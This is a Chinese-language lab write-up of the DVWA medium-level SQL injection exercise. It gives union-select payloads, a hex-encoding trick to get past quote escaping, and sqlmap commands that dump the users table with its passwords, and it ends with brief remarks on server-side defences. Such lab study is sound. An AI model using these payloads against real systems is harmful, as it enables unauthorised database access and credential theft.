dvwa_medium_sql_injection
Posted goodswarm
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了dvwa_medium_sql_injection相关的知识,希望对你有一定的参考价值。
2018/05/24
实验平台:win10+wamp+dvwa+sqlmap
实验内容:dvwa_medium_SQL_Injection
实验内容:
第一步:配置实验环境
1.low级有一篇白文(https://www.cnblogs.com/goodswarm/p/9063883.html),是再这个基础上继续进行的
2.点击sql_injection,报错,然后我将medium.php中28行的[0]去掉,index.php的第64行rows后加[0],产生这种问题的原因应该是我配置的php的环境版本落后于当前dvwa的标准环境。
第二步:实验内容
1.正常操作一波,并与low级对比。
不难发现,它就是遏制了用户的输入,仅仅让用户做出选择。让生成的数据包仅仅是{1,2,3,4,5}中的值,那么改数据包,然后再按low级的思路一步步走行吗?
2.截包,并尝试改值
用Burp Suite(以下简称为bp)拦截发送的数据包,并交给repeater模块,将id=1改为id=1 or 1=1发送。结果下
low级使用的是“1‘or‘1‘=‘1”,但是这里行不通,说明现在适用数字型注入。
3.根据low级的思路依次测试:测试当前字段数、测试当前数据库名、测试数据库的表名、测试表的所有字段名、下载表中所有数据
1.“1 or 1=1 order by 1”。跟low差不多,可参看前面内容
2.“1 union select 1,database()”。获取当前数据库名
3.“1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()”获取数据库中的所有表名
4.1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’。恭喜报错,查看错误返回,是做了过滤处理,将单引号(‘)转义为(/’)。那怎么办?
就是你要让解释器编译出这个单引号,但是过滤的时候并不会被当作单引号转义掉。就像你玩游戏说“垃圾”会被屏蔽但是说“辣鸡”不会。emm,这时候就要转编码,“=‘users’”变换为“0x7573657273”
这个是“users”的十六进制数(ascii->十六进制),在mysql中十六进制数会被解释成相应的字符串,类型也可以写“=char(117,115,101,114,115)”,这个利用mysql中的字符函数,将ascii解释为对应的
字符。
5.“1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users”下载所有的数据.
4.sqlmap注入神器
1.这是一个post表单注入,首先利用bp拦下数据包,并命名为1。命令分析一波 sqlmap -r 1 如图。(这个我直接加了--dbs查看所有数据库,,emmm,偷懒了)。
2.sqlmap -r 1 --dbs 查看所有数据库
3.sqlmap -r 1 -D dvwa --tables 查看指定数据库的所有表
4.sqlmap -r 1 -D dvwa -T users --columns 查看指定表的指定列
5.sqlmap -r 1 -D dvwa -T users -C user,password --dump 查看指定条件的所有记录
第三步:实验小结
打开这个wamp\\www\\dvwa\\vulnerabilities\\sqli\\source目录,查看medium.php的源码,可以发现以下关建代码:
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
前者就是相应的过滤处理过程。php的mysqli_real_escape_string()函数,w3school解释如下
后者证明了组合的查询语句适用数字型注入(low级为字符型,源码$query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;";,多了两个单引号)。
这种防御策略,客户端控制输入+服务端增加转义,我们搞事情,传输层改包+换码使用函数规避转义。思考增加安全性,在客户端限制输入有点难,感觉改包就搞掉一切,重点还是服务端接受到的数据
过滤,更好的过滤方案,更好的过滤处理。
以上是关于dvwa_medium_sql_injection的主要内容,如果未能解决你的问题,请参考以下文章